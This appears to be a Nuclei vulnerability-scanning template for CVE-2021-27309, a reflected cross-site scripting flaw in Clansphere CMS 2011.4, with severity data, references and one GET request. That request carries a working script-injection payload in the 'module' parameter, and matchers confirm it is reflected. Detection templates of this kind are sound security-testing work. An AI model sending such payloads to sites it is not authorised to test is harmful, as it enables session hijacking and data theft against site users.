52 lines
1.9 KiB
YAML
52 lines
1.9 KiB
YAML
id: CVE-2021-27309
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info:
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name: Clansphere CMS 2011.4 - Cross-Site Scripting
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author: edoardottt
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severity: medium
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description: |
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Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "module" parameter.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.
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reference:
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- https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27309
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-27309
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cwe-id: CWE-79
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epss-score: 0.00106
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epss-percentile: 0.42781
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cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: csphere
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product: clansphere
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tags: cve,cve2021,clansphere,xss,cms,unauth,csphere
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http:
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- method: GET
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path:
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- "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"></script><script>alert(document.domain)</script>.php'
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100b5ba0b208e2f037355d1c17a88b2de1f33f65abd38a562caec18c757164ccb9c022100d7caae36893eee674536ab0ce35046f09d156b154c862507d5de434564006d90:922c64590222798bb761d5b6d8e72950 |